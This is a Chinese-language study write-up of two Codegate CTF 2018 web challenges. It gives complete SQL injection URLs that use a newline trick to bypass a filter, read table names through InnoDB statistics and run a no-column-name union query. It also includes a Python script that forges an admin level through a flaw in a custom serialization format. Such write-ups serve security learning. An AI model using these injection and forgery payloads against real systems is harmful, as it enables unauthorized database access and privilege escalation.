Codegate CTF 2018 两道web题的学习

这是比赛后通过wp的学习笔记


SimpleCMS

这是一道代码审计题

根据wp的payload,我们可以在classes/Board.class.php第24行发现$cloumnh和$search可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function action_search(){
$column = Context::get('col');
$search = Context::get('search');
$type = strtolower(Context::get('type'));
$operator = 'or';

if($type === '1'){
$operator = 'or';
}
else if($type === '2'){
$operator = 'and';
}
if(preg_match('/[\<\>\'\"\\\'\\\"\%\=\(\)\/\^\*\-`;,[email protected]\s!\?\[\]\+_&$]/is', $column)){
$column = 'title';
}
$query = get_search_query($column, $search, $operator);
$result = DB::fetch_multi_row('board', '', '', '0, 10','date desc', $query);
include(CMS_SKIN_PATH . 'board.php');
}

跟进get_search_query

1
2
3
4
5
6
7
8
9
10
11
12
13
#functions/lib.php
function get_search_query($column, $search, $operator){
$column = explode('|', $column);
$result = '';
for($i=0; $i<count($column); $i++){
if(trim($column[$i]) === ''){
continue;
}
$result .= " LOWER({$column[$i]}) like '%{$search}%' {$operator}";
}
$result = trim(substr($result, 0 , strrpos($result, $operator)));
return $result;
}

这里进行了sql语句的拼接,回到action_search,跟进DB::fetch_multi_row

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function fetch_multi_row($table, $query=array(), $operator='', $limit='', $orderby='', $condition=''){
$table = 'cms' . $table;
$result = 'SELECT * FROM '. $table;
if($condition){
$result .= ' WHERE '. $condition;
}
else if($query){
$result .= ' WHERE ';

foreach ($query as $key => $value) {
$result .= "{$key}='{$value}' {$operator} ";
}
if($operator){
$result = trim(substr($result, 0, strrpos($result, $operator)));
}
else{
$result = trim($result);
}
}
else{
$result .= ' WHERE 1 ';
}
if($orderby){
$result .= ' order by '.$orderby;
}
if($limit){
$result .= ' limit '. $limit;
}
return $result;
}

}

这里进行了sql语句的执行,把执行的语句打印出来就是SELECT * FROM cmsboard WHERE LOWER(title) like '%search%' order by date desc limit 0, 10

这里看上去不能构造sql注入其实有个小trick,就是%0a,令$column = title%23&$search = test%0a)%23的时候,最终执行的sql语句就成了这样

1
2
3
4
SELECT * FROM cmsboard WHERE LOWER(title#) like '%test
)#%' order by date desc limit 0, 10
==>
SELECT * FROM cmsboard WHERE LOWER(title)

所以我们就能利用联合查询来构造sql注入了,但是这里还是有黑名单$filter_str = array('or', 'and', 'information', 'schema', 'procedure', 'analyse', 'order', 'by', 'group', 'into');

虽然过滤了information,但是我们可以通过innodb引擎来获取表信息

http://13.125.3.183/index.php?act=board&mid=search&col=title%23&type=1&search=1%0a)%3C0%20union%20select%201,(select%20table_name%20from%20mysql.innodb_table_stats%20limit%202,1),3,4,5%23

获得表名41786c497656426a6149_flag

在利用无列名注入

http://13.125.3.183/index.php?act=board&mid=search&col=title%23&type=1&search=1%0a)%3C0%20union%20select%201,(select%20e.3%20from%20(select%20*%20from%20(select%201)a,(select%202)b,(select%203)c,(select%204)d%20union%20select%20*%20from%2041786c497656426a6149_flag%20)e%20limit%201,1),3,4,5%23

获得flagflag{you_are_error_based_sqli_master_XDDDD_XD_SD_xD}

诶,正解难道是基于报错注入?Orz


rbSql

这也是道代码审计,大概要求我们成为admin才能拿到flag,成为admin就要让自己的lvl为2

1
2
3
4
if(rbGetPath("member_".$uid)) error("id already existed");
$ret = rbSql("create","member_".$uid,["id","mail","pw","ip","lvl"]);
if(is_string($ret)) error("error");
$ret = rbSql("insert","member_".$uid,[$uid,$umail,$upw,$uip,"1"]);

在这里注册默认等级就是1,所以要从这里下手让等级变化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#dbconn.php
<?php
/*
Table[
tablename, filepath
[column],
[row],
[row],
...
rbSqlSchema[
rbSqlSchema,/rbSqlSchema,
["tableName","filePath"],
["something","/rbSql_".substr(md5(rand(10000000,100000000)),0,16)]
]
*/

define("STR", chr(1), true);
define("ARR", chr(2), true);
define("SCHEMA", "./rbSqlSchema", true);

function rbSql($cmd,$table,$query){
switch($cmd){
case "create":
$result = rbReadFile(SCHEMA);
for($i=3;$i<count($result);$i++){
if(strtolower($result[$i][0]) === strtolower($table)){
return "Error6";
}
}
$fileName = "./rbSql_".substr(md5(rand(10000000,100000000)),0,16);
$result[$i] = array($table,$fileName);
rbWriteFile(SCHEMA,$result);
exec("touch {$fileName};chmod 666 {$fileName}");
$content = array($table,$fileName,$query);
rbWriteFile($fileName,$content);
break;

case "select":
/*
Error1 : Command not found
Error2 : Column not found
Error3 : Value not found
Error4 : Table name not found
Error5 : Column count is different
Error6 : table name duplicate
*/
$filePath = rbGetPath($table);
if(!$filePath) return "Error4";
$result = rbReadFile($filePath);
$whereColumn = $query[0];
$whereValue = $query[1];
$countRow = count($result) - 3;
$chk = 0;
for($i=0;$i<count($result[2]);$i++){
if(strtolower($result[2][$i]) === strtolower($whereColumn)){
$chk = 1;
break;
}
}
if($chk == 0) return "Error2";
$chk = 0;
for($j=0;$j<$countRow;$j++){
if(strtolower($result[$j+3][$i]) === strtolower($whereValue)){
$chk = 1;
return $result[$j+3];
}
}
if($chk == 0) return "Error3";
break;

case "insert":
$filePath = rbGetPath($table);
if(!$filePath) return "Error4";
$result = rbReadFile($filePath);
if(count($result[2]) != count($query)) return "Error5";
$result[count($result)] = $query;
rbWriteFile($filePath,$result);
break;

case "delete":
$filePath = rbGetPath($table);
if(!$filePath) return "Error4";
$result = rbReadFile($filePath);
$whereColumn = $query[0];
$whereValue = $query[1];
$countRow = count($result) - 3;
$chk = 0;
for($i=0;$i<count($result[2]);$i++){
if(strtolower($result[2][$i]) === strtolower($whereColumn)){
$chk = 1;
break;
}
}
if($chk == 0) return "Error2";
$chk = 0;
for($j=0;$j<$countRow;$j++){
if(strtolower($result[$j+3][$i]) === strtolower($whereValue)){
$chk = 1;
unset($result[$j+3]);
}
}
if($chk == 0) return "Error3";
rbWriteFile($result[1],$result);
break;

default:
return "Error1";
break;
}
}

function rbParse($rawData){
$parsed = array();
$idx = 0;
$pointer = 0;

while(strlen($rawData)>$pointer){
if($rawData[$pointer] == STR){
$pointer++;
$length = ord($rawData[$pointer]);
$pointer++;
$parsed[$idx] = substr($rawData,$pointer,$length);
$pointer += $length;
}
elseif($rawData[$pointer] == ARR){
$pointer++;
$arrayCount = ord($rawData[$pointer]);
$pointer++;
for($i=0;$i<$arrayCount;$i++){
if(substr($rawData,$pointer,1) == ARR){
$pointer++;
$arrayCount2 = ord($rawData[$pointer]);
$pointer++;
for($j=0;$j<$arrayCount2;$j++){
$pointer++;
$length = ord($rawData[$pointer]);
$pointer++;
$parsed[$idx][$i][$j] = substr($rawData,$pointer,$length);
$pointer += $length;
}
}
else{
$pointer++;
$length = ord(substr($rawData,$pointer,1));
$pointer++;
$parsed[$idx][$i] = substr($rawData,$pointer,$length);
$pointer += $length;
}
}
}
$idx++;
if($idx > 2048) break;
}
return $parsed[0];
}

function rbPack($data){
$rawData = "";
if(is_string($data)){
$rawData .= STR . chr(strlen($data)) . $data;
}
elseif(is_array($data)){
$rawData .= ARR . chr(count($data));
for($idx=0;$idx<count($data);$idx++) $rawData .= rbPack($data[$idx]);
}
return $rawData;
}

function rbGetPath($table){
$schema = rbReadFile(SCHEMA);
for($i=3;$i<count($schema);$i++){
if(strtolower($schema[$i][0]) == strtolower($table)) return $schema[$i][1];
}
}

function rbReadFile($filePath){
$opened = fopen($filePath, "r") or die("Unable to open file!");
$content = fread($opened,filesize($filePath));
fclose($opened);
return rbParse($content);
}

function rbWriteFile($filePath,$fileContent){
$opened = fopen($filePath, "w") or die("Unable to open file!");
fwrite($opened,rbPack($fileContent));
fclose($opened);
clearstatcache();
}

可以发现数据储存是有格式的[数组|字符串][数据长度][数据]rbParse()解析数据

然而这里接收的数据形式为array(0=>array()),所以rbParse()只能解析两次数组,这就是解这道题的关键了,在传进是数据中构造一个数组,数组中包含我们构造的信息,因为传进去是5个数据,所以当数组之前和数组中的数据个数达到5个后就能使后面的数据不解析,达到构造任意数据的目的

1
2
3
4
5
6
7
8
$uid = $_POST['uid'];
$umail = $_POST['umail'];
$upw = $_POST['upw'];
if(($uid) && ($upw) && ($umail)){
if(strlen($uid) < 3) error("id too short");
if(strlen($uid) > 16) error("id too long");
if(!ctype_alnum($uid)) error("id must be alnum!");
if(strlen($umail) > 256) error("email too long");

可以发现$umail的大小限制为256字节,所以可以通过构造$umail数组

借用0ops大佬的脚本

1
2
3
4
5
6
7
import requests
data = {
"uid": "username",
"umail[]": "\x20c4ca4238a0b923820dcc509a6f75849b\x01\x071.1.1.1\x01\x012",
"upw": "1"
}
requests.post("http://52.78.188.150/rbsql_4f6b17dc3d565ce63ef3c4ff9eef93ad/?page=join_chk", data)

登录就能拿到flag

参考资料

https://github.com/LyleMi/CTF/blob/master/2018/CodeGate/rbSql/index.md

https://github.com/LyleMi/CTF/blob/master/2018/CodeGate/rbSql/index.md